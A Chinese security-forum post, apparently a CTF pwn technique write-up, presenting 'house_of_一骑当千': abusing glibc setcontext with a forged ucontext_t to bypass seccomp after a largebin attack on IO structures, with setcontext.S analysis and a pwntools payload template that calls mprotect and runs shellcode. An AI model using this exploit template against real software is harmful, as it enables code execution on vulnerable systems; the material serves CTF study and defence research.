-
-
[原创]无路远征——GLIBC2.37后时代的IO攻击之道(五)house_of_一骑当千
-
发表于: 2023-2-10 12:09 23386
-
感谢团队师傅的分享,本来这一篇我是不想公开的。
沙盒是现在pwn题中绕不过的砍,前面提出的house_of_魑魅魍魉 和 house_of_琴瑟琵琶
都没有提供绕过沙盒的方法,尤其是house_of_琴瑟琵琶
只能控制一个参数,目前看来基本上无法绕过沙盒。而house_of_一骑当千
是一种只用setcontext
就定能绕过沙盒攻击手法。
setcontext+53
是打pwn
中常用的技术,主要是依靠程序中如下代码段来实现寄存器赋值。在2.31后变成了setcontext+61
,主要控制的寄存器也从rdi
变成了rdx
。setcontext+53
是执行orw
的重要攻击手段,由于属于常见方式就不再赘述。
setcontext+53
作为常用的攻击手段,在版本迭代中主要参数已经从rdi
修复成rdx
,rdx
是一个函数的第3个参数。但是,在实际攻击过程中,只能控制一个参数,所以rdx
不可控。目前,很多利用的方法,例如house_of_KIWI house_of_cat
等中rdx
都是编译级别的利用方式,可以很容易被修复,或者编译器发生变化也可能不再能使用。 house_of_KIWI
出现很大一部分是解决了rdx
的问题。house_of_emma
也必须借助 house_of_KIWI
才能绕过seccomp
。
以2.37以后还能使用的house_of_cat
为例,对比源码和汇编可以发现,rdx
之所以可控是因为,编译器在处理比较时使用了rdx
。
当然,还可以使用mov rdx,[rdi+8];mov [rsp],rax;call [rdx+x]
这种 magic_gadget 来绕过沙盒,因为每个版本的gadget并不完全相同,所以这也不是长久之计。
因为setcontext
是汇编所写(下面会详写),显然rdi
修复成rdx
也是GNU
有意而为,今后也可能被修改成rcx
甚至r15
,靠编译级别的攻击手段显然不能长久。如何能够完美绕过沙盒呢?
研究setcontext
之前,我们要知道一个函数族,就是ucontext
函数族,它包括以下函数。
显然,虽然说用户上下文这么高深的词语,其实就是一块内存中存储了一些必要的数据。
以我们关注的setcontext
为例 ,它是由汇编所写,在 /sysdeps/unix/sysv/linux/x86_64/setcontext.S
中。剥离复杂的宏之后发现,除了信号量系统调(__NR_rt_sigprocmask
)用外,无非就是一些赋值操作。(代码虽然很长,但为了展现全貌我就不做删减了,大家关注中文注释的地方)
从ucontext
函数族中可以看到存在ucontext
类型的结构体,也就是传入setcontext
的rdi
。这个结构体如下。
在setcontext
函数中,除了对mcontext_t uc_mcontext;
sigset_t uc_sigmask;
struct _libc_fpstate __fpregs_mem __ssp
这4个进行操作外,并没有对其他部分操作,也就是我们可以不关心其他的值。
这个主要是负责信号量,经测试全是0就可以,当然也可以使用其他程序拷贝过来的信号量。
这个就是存储寄存器的结构体,也是我们平时setcontext+53
所使用的地方。结构体如下。
有关数据设置和传统利用setcontext+53
时一样即可。
这个所对应的步骤为setcontext
中的如下内容,作用使加载浮点环境,需要可写。偏移为0xe0
。
这个所对应的步骤为setcontext
中的如下内容,作用使加载 MXCSR 寄存器,经测试0也行,偏移为0x1c0
喜闻乐见的抄板子时间又到了。根据上面setcontext
分析可以看出,我们只需要绕过关键的几个地方就能够实现和setcontext+53
一样的攻击效果。假设,没有禁用mprotect
,只有一次的largebin_attack
的情况来攻击IO,模板如下。
我们以2022强网拟态决赛_vpn
为例(题目内部附件叫:pminote_mc
)。题目虽然使用了llvm
进行了各种混淆手段,但仍不能摆脱屌丝菜单题的宿命,经过手动测试可以发现简单回复一下结构体和有关操作。结构体如下。
题目存在UAF,并且只能malloc
5次。题目的唯一难度是是在显示程序上,他使用如下操作
也就是说即使能够简单执行system(heap)
,由于heap的开始时函数地址,也是无法简单执行system("/bin/sh")
。
那么此时我们的攻击思路是
需要说明的是由于题目没有seccomp
,所以我的方法肯定是非预期解,然并卵我没有找到相关预期解是啥。exp如下
这一种方法只是为上面的例子一个延伸,当能够多次执行函数,而第一个参数又固定,可以使用getcontext + gets + gets + setcontext
的通用解决方案,结合EOP使用。
就像我开头提到的,在目前情况下house_of_魑魅魍魉 和 house_of_琴瑟琵琶
是很难有绕过沙盒的方法,但如果和house_of_一骑当千
结合使用,沙盒绕过将是易如反掌。
同理,其他IO板子绝大部分都能够与house_of_一骑当千
配合使用,一通百通,就不再赘述。
int
_IO_switch_to_wget_mode (
FILE
*
fp)
{
/
/
编译器在处理这一段时使用 rdx
if
(fp
-
>_wide_data
-
>_IO_write_ptr > fp
-
>_wide_data
-
>_IO_write_base)
if
((wint_t)_IO_WOVERFLOW (fp, WEOF)
=
=
WEOF)
return
EOF;
......
}
int
_IO_switch_to_wget_mode (
FILE
*
fp)
{
/
/
编译器在处理这一段时使用 rdx
if
(fp
-
>_wide_data
-
>_IO_write_ptr > fp
-
>_wide_data
-
>_IO_write_base)
if
((wint_t)_IO_WOVERFLOW (fp, WEOF)
=
=
WEOF)
return
EOF;
......
}
►
0x7f4cae745d30
<_IO_switch_to_wget_mode> endbr64
0x7f4cae745d34
<_IO_switch_to_wget_mode
+
4
> mov rax, qword ptr [rdi
+
0xa0
]
0x7f4cae745d3b
<_IO_switch_to_wget_mode
+
11
> push rbx
0x7f4cae745d3c
<_IO_switch_to_wget_mode
+
12
> mov rbx, rdi
0x7f4cae745d3f
<_IO_switch_to_wget_mode
+
15
> mov rdx, qword ptr [rax
+
0x20
]
0x7f4cae745d43
<_IO_switch_to_wget_mode
+
19
>
cmp
rdx, qword ptr [rax
+
0x18
]
0x7f4cae745d47
<_IO_switch_to_wget_mode
+
23
> jbe _IO_switch_to_wget_mode
+
56
<_IO_switch_to_wget_mode
+
56
>
0x7f4cae745d49
<_IO_switch_to_wget_mode
+
25
> mov rax, qword ptr [rax
+
0xe0
]
0x7f4cae745d50
<_IO_switch_to_wget_mode
+
32
> mov esi,
0xffffffff
0x7f4cae745d55
<_IO_switch_to_wget_mode
+
37
> call qword ptr [rax
+
0x18
]
►
0x7f4cae745d30
<_IO_switch_to_wget_mode> endbr64
0x7f4cae745d34
<_IO_switch_to_wget_mode
+
4
> mov rax, qword ptr [rdi
+
0xa0
]
0x7f4cae745d3b
<_IO_switch_to_wget_mode
+
11
> push rbx
0x7f4cae745d3c
<_IO_switch_to_wget_mode
+
12
> mov rbx, rdi
0x7f4cae745d3f
<_IO_switch_to_wget_mode
+
15
> mov rdx, qword ptr [rax
+
0x20
]
0x7f4cae745d43
<_IO_switch_to_wget_mode
+
19
>
cmp
rdx, qword ptr [rax
+
0x18
]
0x7f4cae745d47
<_IO_switch_to_wget_mode
+
23
> jbe _IO_switch_to_wget_mode
+
56
<_IO_switch_to_wget_mode
+
56
>
0x7f4cae745d49
<_IO_switch_to_wget_mode
+
25
> mov rax, qword ptr [rax
+
0xe0
]
0x7f4cae745d50
<_IO_switch_to_wget_mode
+
32
> mov esi,
0xffffffff
0x7f4cae745d55
<_IO_switch_to_wget_mode
+
37
> call qword ptr [rax
+
0x18
]
int
getcontext(ucontext_t
*
ucp);
int
setcontext(const ucontext_t
*
ucp)
void makecontext(ucontext_t
*
ucp, void (
*
func)(),
int
argc, ...);
int
swapcontext(ucontext_t
*
restrict oucp,const ucontext_t
*
restrict ucp);
int
getcontext(ucontext_t
*
ucp);
int
setcontext(const ucontext_t
*
ucp)
void makecontext(ucontext_t
*
ucp, void (
*
func)(),
int
argc, ...);
int
swapcontext(ucontext_t
*
restrict oucp,const ucontext_t
*
restrict ucp);
ENTRY(__setcontext)
/
*
Save argument since syscall will destroy it.
*
/
pushq
%
rdi
cfi_adjust_cfa_offset(
8
)
/
*
Set
the signal mask with
rt_sigprocmask (SIG_SETMASK, mask, NULL, _NSIG
/
8
).
*
/
leaq oSIGMASK(
%
rdi),
%
rsi
xorl
%
edx,
%
edx
movl $SIG_SETMASK,
%
edi
movl $_NSIG8,
%
r10d
movl $__NR_rt_sigprocmask,
%
eax
syscall
/
*
Pop the pointer into RDX. The choice
is
arbitrary, but
leaving RDI
and
RSI available
for
use later can avoid
shuffling values.
*
/
popq
%
rdx
# 这是就是 rdi 向 rdx转换的关键。
cfi_adjust_cfa_offset(
-
8
)
cmpq $
-
4095
,
%
rax
/
*
Check
%
rax
for
error.
*
/
jae SYSCALL_ERROR_LABEL
/
*
Jump to error handler
if
error.
*
/
/
*
Restore the floating
-
point context. Not the registers, only the
rest.
*
/
movq oFPREGS(
%
rdx),
%
rcx
fldenv (
%
rcx)
ldmxcsr oMXCSR(
%
rdx)
/
*
Load the new stack pointer, the preserved registers
and
registers used
for
passing args.
*
/
cfi_def_cfa(
%
rdx,
0
)
cfi_offset(
%
rbx,oRBX)
cfi_offset(
%
rbp,oRBP)
cfi_offset(
%
r12,oR12)
cfi_offset(
%
r13,oR13)
cfi_offset(
%
r14,oR14)
cfi_offset(
%
r15,oR15)
cfi_offset(
%
rsp,oRSP)
cfi_offset(
%
rip,oRIP)
/
*
这里往下就是 setcontext
+
61
的地方
*
/
movq oRSP(
%
rdx),
%
rsp
movq oRBX(
%
rdx),
%
rbx
movq oRBP(
%
rdx),
%
rbp
movq oR12(
%
rdx),
%
r12
movq oR13(
%
rdx),
%
r13
movq oR14(
%
rdx),
%
r14
movq oR15(
%
rdx),
%
r15
#if SHSTK_ENABLED
/
*
Check
if
shadow stack
is
enabled.
*
/
testl $X86_FEATURE_1_SHSTK,
%
fs:FEATURE_1_OFFSET
jz L(no_shstk)
/
*
If the base of the target shadow stack
is
the same as the
base of the current shadow stack, we unwind the shadow
stack. Otherwise it
is
a stack switch
and
we look
for
a
restore token.
*
/
movq oSSP(
%
rdx),
%
rsi
movq
%
rsi,
%
rdi
/
*
Get the base of the target shadow stack.
*
/
movq (oSSP
+
8
)(
%
rdx),
%
rcx
cmpq
%
fs:SSP_BASE_OFFSET,
%
rcx
je L(unwind_shadow_stack)
L(find_restore_token_loop):
/
*
Look
for
a restore token.
*
/
movq
-
8
(
%
rsi),
%
rax
andq $
-
8
,
%
rax
cmpq
%
rsi,
%
rax
je L(restore_shadow_stack)
/
*
Try the
next
slot.
*
/
subq $
8
,
%
rsi
jmp L(find_restore_token_loop)
L(restore_shadow_stack):
/
*
Pop
return
address
from
the shadow stack since setcontext
will
not
return
.
*
/
movq $
1
,
%
rax
incsspq
%
rax
/
*
Use the restore stoken to restore the target shadow stack.
*
/
rstorssp
-
8
(
%
rsi)
/
*
Save the restore token on the old shadow stack. NB: This
restore token may be checked by setcontext
or
swapcontext
later.
*
/
saveprevssp
/
*
Record the new shadow stack base that was switched to.
*
/
movq (oSSP
+
8
)(
%
rdx),
%
rax
movq
%
rax,
%
fs:SSP_BASE_OFFSET
L(unwind_shadow_stack):
rdsspq
%
rcx
subq
%
rdi,
%
rcx
je L(skip_unwind_shadow_stack)
negq
%
rcx
shrq $
3
,
%
rcx
movl $
255
,
%
esi
L(loop):
cmpq
%
rsi,
%
rcx
cmovb
%
rcx,
%
rsi
incsspq
%
rsi
subq
%
rsi,
%
rcx
ja L(loop)
L(skip_unwind_shadow_stack):
movq oRSI(
%
rdx),
%
rsi
movq oRDI(
%
rdx),
%
rdi
movq oRCX(
%
rdx),
%
rcx
movq oR8(
%
rdx),
%
r8
movq oR9(
%
rdx),
%
r9
/
*
Get the
return
address
set
with getcontext.
*
/
movq oRIP(
%
rdx),
%
r10
/
*
Setup
finally
%
rdx.
*
/
movq oRDX(
%
rdx),
%
rdx
/
*
Check
if
return
address
is
valid
for
the case when setcontext
is
invoked
from
__start_context with linked context.
*
/
rdsspq
%
rax
cmpq (
%
rax),
%
r10
/
*
Clear RAX to indicate success. NB: Don't use xorl to keep
EFLAGS
for
jne.
*
/
movl $
0
,
%
eax
jne L(jmp)
/
*
Return to the new context
if
return
address valid.
*
/
pushq
%
r10
ret
L(jmp):
/
*
Jump to the new context directly.
*
/
jmp
*
%
r10
L(no_shstk):
#endif
/
*
The following ret should
return
to the address
set
with
getcontext. Therefore push the address on the stack.
*
/
movq oRIP(
%
rdx),
%
rcx
pushq
%
rcx
movq oRSI(
%
rdx),
%
rsi
movq oRDI(
%
rdx),
%
rdi
movq oRCX(
%
rdx),
%
rcx
movq oR8(
%
rdx),
%
r8
movq oR9(
%
rdx),
%
r9
/
*
Setup
finally
%
rdx.
*
/
movq oRDX(
%
rdx),
%
rdx
/
*
End FDE here, we fall into another context.
*
/
cfi_endproc
cfi_startproc
/
*
Clear rax to indicate success.
*
/
xorl
%
eax,
%
eax
ret
PSEUDO_END(__setcontext)
weak_alias (__setcontext, setcontext)
ENTRY(__setcontext)
/
*
Save argument since syscall will destroy it.
*
/
pushq
%
rdi
cfi_adjust_cfa_offset(
8
)
/
*
Set
the signal mask with
rt_sigprocmask (SIG_SETMASK, mask, NULL, _NSIG
/
8
).
*
/
leaq oSIGMASK(
%
rdi),
%
rsi
xorl
%
edx,
%
edx
movl $SIG_SETMASK,
%
edi
movl $_NSIG8,
%
r10d
movl $__NR_rt_sigprocmask,
%
eax
syscall
/
*
Pop the pointer into RDX. The choice
is
arbitrary, but
leaving RDI
and
RSI available
for
use later can avoid
shuffling values.
*
/
popq
%
rdx
# 这是就是 rdi 向 rdx转换的关键。
cfi_adjust_cfa_offset(
-
8
)
cmpq $
-
4095
,
%
rax
/
*
Check
%
rax
for
error.
*
/
jae SYSCALL_ERROR_LABEL
/
*
Jump to error handler
if
error.
*
/
/
*
Restore the floating
-
point context. Not the registers, only the
rest.
*
/
movq oFPREGS(
%
rdx),
%
rcx
fldenv (
%
rcx)
ldmxcsr oMXCSR(
%
rdx)
/
*
Load the new stack pointer, the preserved registers
and
registers used
for
passing args.
*
/
cfi_def_cfa(
%
rdx,
0
)
cfi_offset(
%
rbx,oRBX)
cfi_offset(
%
rbp,oRBP)
cfi_offset(
%
r12,oR12)
cfi_offset(
%
r13,oR13)
cfi_offset(
%
r14,oR14)
cfi_offset(
%
r15,oR15)
cfi_offset(
%
rsp,oRSP)
cfi_offset(
%
rip,oRIP)
/
*
这里往下就是 setcontext
+
61
的地方
*
/
movq oRSP(
%
rdx),
%
rsp
movq oRBX(
%
rdx),
%
rbx
movq oRBP(
%
rdx),
%
rbp
movq oR12(
%
rdx),
%
r12
movq oR13(
%
rdx),
%
r13
movq oR14(
%
rdx),
%
r14
movq oR15(
%
rdx),
%
r15
#if SHSTK_ENABLED
/
*
Check
if
shadow stack
is
enabled.
*
/
testl $X86_FEATURE_1_SHSTK,
%
fs:FEATURE_1_OFFSET
jz L(no_shstk)
/
*
If the base of the target shadow stack
is
the same as the
base of the current shadow stack, we unwind the shadow
stack. Otherwise it
is
a stack switch
and
we look
for
a
restore token.
*
/
movq oSSP(
%
rdx),
%
rsi
movq
%
rsi,
%
rdi
/
*
Get the base of the target shadow stack.
*
/
movq (oSSP
+
8
)(
%
rdx),
%
rcx
cmpq
%
fs:SSP_BASE_OFFSET,
%
rcx
je L(unwind_shadow_stack)
L(find_restore_token_loop):
/
*
Look
for
a restore token.
*
/
movq
-
8
(
%
rsi),
%
rax
andq $
-
8
,
%
rax
cmpq
%
rsi,
%
rax
je L(restore_shadow_stack)
/
*
Try the
next
slot.
*
/
subq $
8
,
%
rsi
jmp L(find_restore_token_loop)
L(restore_shadow_stack):
/
*
Pop
return
address
from
the shadow stack since setcontext
will
not
return
.
*
/
movq $
1
,
%
rax
incsspq
%
rax
/
*
Use the restore stoken to restore the target shadow stack.
*
/
rstorssp
-
8
(
%
rsi)
/
*
Save the restore token on the old shadow stack. NB: This
restore token may be checked by setcontext
or
swapcontext
later.
*
/
saveprevssp
/
*
Record the new shadow stack base that was switched to.
*
/
movq (oSSP
+
8
)(
%
rdx),
%
rax
movq
%
rax,
%
fs:SSP_BASE_OFFSET
L(unwind_shadow_stack):
rdsspq
%
rcx
subq
%
rdi,
%
rcx
je L(skip_unwind_shadow_stack)
negq
%
rcx
shrq $
3
,
%
rcx
movl $
255
,
%
esi
L(loop):
cmpq
%
rsi,
%
rcx
cmovb
%
rcx,
%
rsi
incsspq
%
rsi
subq
%
rsi,
%
rcx
ja L(loop)
L(skip_unwind_shadow_stack):
movq oRSI(
%
rdx),
%
rsi
movq oRDI(
%
rdx),
%
rdi
movq oRCX(
%
rdx),
%
rcx
movq oR8(
%
rdx),
%
r8
movq oR9(
%
rdx),
%
r9
/
*
Get the
return
address
set
with getcontext.
*
/
movq oRIP(
%
rdx),
%
r10
/
*
Setup
finally
%
rdx.
*
/
movq oRDX(
%
rdx),
%
rdx
/
*
Check
if
return
address
is
valid
for
the case when setcontext
is
invoked
from
__start_context with linked context.
*
/
rdsspq
%
rax
cmpq (
%
rax),
%
r10
/
*
Clear RAX to indicate success. NB: Don't use xorl to keep
EFLAGS
for
jne.
*
/
movl $
0
,
%
eax
jne L(jmp)
/
*
Return to the new context
if
return
address valid.
*
/
pushq
%
r10
ret
L(jmp):
/
*
Jump to the new context directly.
*
/
jmp
*
%
r10
L(no_shstk):
#endif
/
*
The following ret should
return
to the address
set
with
getcontext. Therefore push the address on the stack.
*
/
movq oRIP(
%
rdx),
%
rcx
pushq
%
rcx
movq oRSI(
%
rdx),
%
rsi
movq oRDI(
%
rdx),
%
rdi
movq oRCX(
%
rdx),
%
rcx
movq oR8(
%
rdx),
%
r8
movq oR9(
%
rdx),
%
r9
/
*
Setup
finally
%
rdx.
*
/
movq oRDX(
%
rdx),
%
rdx
/
*
End FDE here, we fall into another context.
*
/
cfi_endproc
cfi_startproc
/
*
Clear rax to indicate success.
*
/
xorl
%
eax,
%
eax
ret
PSEUDO_END(__setcontext)
weak_alias (__setcontext, setcontext)
typedef struct ucontext_t
{
unsigned
long
int
__ctx(uc_flags);
/
/
1
个字长
struct ucontext_t
*
uc_link;
/
/
1
个字长
stack_t uc_stack;
/
/
3
个字长
mcontext_t uc_mcontext;
/
/
操作部分
1
sigset_t uc_sigmask;
/
/
操作部分
2
struct _libc_fpstate __fpregs_mem;
/
/
操作部分
3
__extension__ unsigned
long
long
int
__ssp[
4
];
/
/
操作部分
4
} ucontext_t;
typedef struct ucontext_t
{
unsigned
long
int
__ctx(uc_flags);
/
/
1
个字长
struct ucontext_t
*
uc_link;
/
/
1
个字长
stack_t uc_stack;
/
/
3
个字长
mcontext_t uc_mcontext;
/
/
操作部分
1
sigset_t uc_sigmask;
/
/
操作部分
2
struct _libc_fpstate __fpregs_mem;
/
/
操作部分
3
__extension__ unsigned
long
long
int
__ssp[
4
];
/
/
操作部分
4
} ucontext_t;
typedef struct
{
gregset_t __ctx(gregs);
/
*
Note that fpregs
is
a pointer.
*
/
fpregset_t __ctx(fpregs);
__extension__ unsigned
long
long
__reserved1 [
8
];
} mcontext_t;
typedef struct
{
gregset_t __ctx(gregs);
/
*
Note that fpregs
is
a pointer.
*
/
fpregset_t __ctx(fpregs);
__extension__ unsigned
long
long
__reserved1 [
8
];
} mcontext_t;
typedef greg_t gregset_t[__NGREG];
#ifdef __USE_GNU
/
*
Number of each register
in
the `gregset_t' array.
*
/
enum
{
REG_R8
=
0
,
# define REG_R8 REG_R8
REG_R9,
# define REG_R9 REG_R9
REG_R10,
# define REG_R10 REG_R10
REG_R11,
# define REG_R11 REG_R11
REG_R12,
# define REG_R12 REG_R12
REG_R13,
# define REG_R13 REG_R13
REG_R14,
# define REG_R14 REG_R14
REG_R15,
# define REG_R15 REG_R15
REG_RDI,
# define REG_RDI REG_RDI
REG_RSI,
# define REG_RSI REG_RSI
REG_RBP,
# define REG_RBP REG_RBP
REG_RBX,
# define REG_RBX REG_RBX
REG_RDX,
# define REG_RDX REG_RDX
REG_RAX,
# define REG_RAX REG_RAX
REG_RCX,
# define REG_RCX REG_RCX
REG_RSP,
# define REG_RSP REG_RSP
REG_RIP,
# define REG_RIP REG_RIP
REG_EFL,
# define REG_EFL REG_EFL
REG_CSGSFS,
/
*
Actually short cs, gs, fs, __pad0.
*
/
# define REG_CSGSFS REG_CSGSFS
REG_ERR,
# define REG_ERR REG_ERR
REG_TRAPNO,
# define REG_TRAPNO REG_TRAPNO
REG_OLDMASK,
# define REG_OLDMASK REG_OLDMASK
REG_CR2
# define REG_CR2 REG_CR2
};
#endif
typedef greg_t gregset_t[__NGREG];
#ifdef __USE_GNU
/
*
Number of each register
in
the `gregset_t' array.
*
/
enum
{
REG_R8
=
0
,
# define REG_R8 REG_R8
REG_R9,
# define REG_R9 REG_R9
REG_R10,
# define REG_R10 REG_R10
REG_R11,
# define REG_R11 REG_R11
REG_R12,
# define REG_R12 REG_R12
REG_R13,
# define REG_R13 REG_R13
REG_R14,
# define REG_R14 REG_R14
REG_R15,
# define REG_R15 REG_R15
REG_RDI,
# define REG_RDI REG_RDI
REG_RSI,
# define REG_RSI REG_RSI
REG_RBP,
# define REG_RBP REG_RBP
REG_RBX,
# define REG_RBX REG_RBX
REG_RDX,
# define REG_RDX REG_RDX
REG_RAX,
# define REG_RAX REG_RAX
REG_RCX,
# define REG_RCX REG_RCX
REG_RSP,
# define REG_RSP REG_RSP
REG_RIP,
# define REG_RIP REG_RIP
REG_EFL,
# define REG_EFL REG_EFL
REG_CSGSFS,
/
*
Actually short cs, gs, fs, __pad0.
*
/
# define REG_CSGSFS REG_CSGSFS
REG_ERR,
# define REG_ERR REG_ERR
REG_TRAPNO,
# define REG_TRAPNO REG_TRAPNO
REG_OLDMASK,
# define REG_OLDMASK REG_OLDMASK
REG_CR2
# define REG_CR2 REG_CR2
};
#endif
/
*
Restore the floating
-
point context. Not the registers, only the
rest.
*
/
movq oFPREGS(
%
rdx),
%
rcx
fldenv (
%
rcx)
/
*
Restore the floating
-
point context. Not the registers, only the
rest.
*
/
movq oFPREGS(
%
rdx),
%
rcx
fldenv (
%
rcx)
ldmxcsr oMXCSR(
%
rdx)
ldmxcsr oMXCSR(
%
rdx)
ucontext
=
b''
ucontext
+
=
p64(
0
)
*
5
mprotect_len
=
0x20000
__rdi
=
heap_addr
# heap_addr binsh_addr
__rsi
=
mprotect_len
__rbp
=
heap_addr
+
mprotect_len
__rbx
=
0
__rdx
=
7
__rcx
=
0
__rax
=
0
# 当下面 padding 为空时,fake_io_addr 就是 ucontext 开始的地址
padding
=
fake_io_file
payload_start_addr
=
fake_io_addr
# 0x2e8 下面的 print("IO_FILE len is",hex(len(payload)))
# largbin_attak 时需要 + 0x10
__rsp
=
payload_start_addr
+
0x2e8
+
0x10
__rip
=
mprotect_addr
ucontext
+
=
p64(
0
)
*
8
ucontext
+
=
p64(__rdi)
ucontext
+
=
p64(__rsi)
ucontext
+
=
p64(__rbp)
ucontext
+
=
p64(__rbx)
ucontext
+
=
p64(__rdx)
ucontext
+
=
p64(__rcx)
ucontext
+
=
p64(__rax)
ucontext
+
=
p64(__rsp)
ucontext
+
=
p64(__rip)
ucontext
=
ucontext.ljust(
0xe0
,b
'\x00'
)
ucontext
+
=
p64(heap_addr
+
0x6000
)
# fldenv [rcx] 加载浮点环境,需要可写
print
(
"ucontext len is:"
,
hex
(
len
(ucontext)))
# 0xe8
'''
ucontext = ucontext.ljust(0x128,b'\x00')
# 加载信号量 ,好像全是0也行 ,0x10个字长
ucontext += p64(0)*0x10
# ucontext += p64(0)+p64(0x0000002000000000)+p64(0)+p64(0)+p64(0x0000034000000340)+p64(0x0000000000000001)+p64(0x0000000103ae75f6)+p64(0)+p64(0x0000034000000340)+p64(0x0000034000000340)+p64(0x0000034000000340)+p64(0x0000034000000340)+p64(0x0000034000000340)+p64(0x0000034000000340)+p64(0x0000034000000340)+p64(0)
ucontext =ucontext.ljust(0x1c0,b'\x00')
# ucontext += p64(0x1f80) # LDMXCSR [rdx+0x1c0] 加载 MXCSR 寄存器,好像是0也行
'''
# payload 可以开始于 fake_io_file ,也可以直接从 ucontext 开始
payload
=
padding
+
ucontext
# 0x2e8 与 __rsp相呼应
print
(
"IO_FILE len is"
,
hex
(
len
(payload)))
# 自己写 shellcode
shellcode
=
"""
"""
# largbin_attak 时需要 + 0x10
payload
+
=
p64(fake_io_addr
+
len
(payload)
+
0x8
+
0x10
)
payload
+
=
bytes(asm(shellcode))
ucontext
=
b''
ucontext
+
=
p64(
0
)
*
5
mprotect_len
=
0x20000
__rdi
=
heap_addr
# heap_addr binsh_addr
__rsi
=
mprotect_len
__rbp
=
heap_addr
+
mprotect_len
__rbx
=
0
__rdx
=
7
__rcx
=
0
__rax
=
0
# 当下面 padding 为空时,fake_io_addr 就是 ucontext 开始的地址
padding
=
fake_io_file
payload_start_addr
=
fake_io_addr
# 0x2e8 下面的 print("IO_FILE len is",hex(len(payload)))
# largbin_attak 时需要 + 0x10
__rsp
=
payload_start_addr
+
0x2e8
+
0x10
__rip
=
mprotect_addr
ucontext
+
=
p64(
0
)
*
8
ucontext
+
=
p64(__rdi)
ucontext
+
=
p64(__rsi)
ucontext
+
=
p64(__rbp)
ucontext
+
=
p64(__rbx)
ucontext
+
=
p64(__rdx)
ucontext
+
=
p64(__rcx)
ucontext
+
=
p64(__rax)
ucontext
+
=
p64(__rsp)
ucontext
+
=
p64(__rip)
ucontext
=
ucontext.ljust(
0xe0
,b
'\x00'
)
ucontext
+
=
p64(heap_addr
+
0x6000
)
# fldenv [rcx] 加载浮点环境,需要可写
print
(
"ucontext len is:"
,
hex
(
len
(ucontext)))
# 0xe8
'''
ucontext = ucontext.ljust(0x128,b'\x00')
# 加载信号量 ,好像全是0也行 ,0x10个字长
ucontext += p64(0)*0x10
# ucontext += p64(0)+p64(0x0000002000000000)+p64(0)+p64(0)+p64(0x0000034000000340)+p64(0x0000000000000001)+p64(0x0000000103ae75f6)+p64(0)+p64(0x0000034000000340)+p64(0x0000034000000340)+p64(0x0000034000000340)+p64(0x0000034000000340)+p64(0x0000034000000340)+p64(0x0000034000000340)+p64(0x0000034000000340)+p64(0)
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)
赞赏
- [原创]反序列化的前生今世 9460
- [原创]gdb在逆向爆破中的应用 3121
- [原创]EOP编程 9254
- [原创]格式化字符串打出没有回头路(下)——回头望月 46412
- [原创]格式化字符串打出没有回头路(上) 17856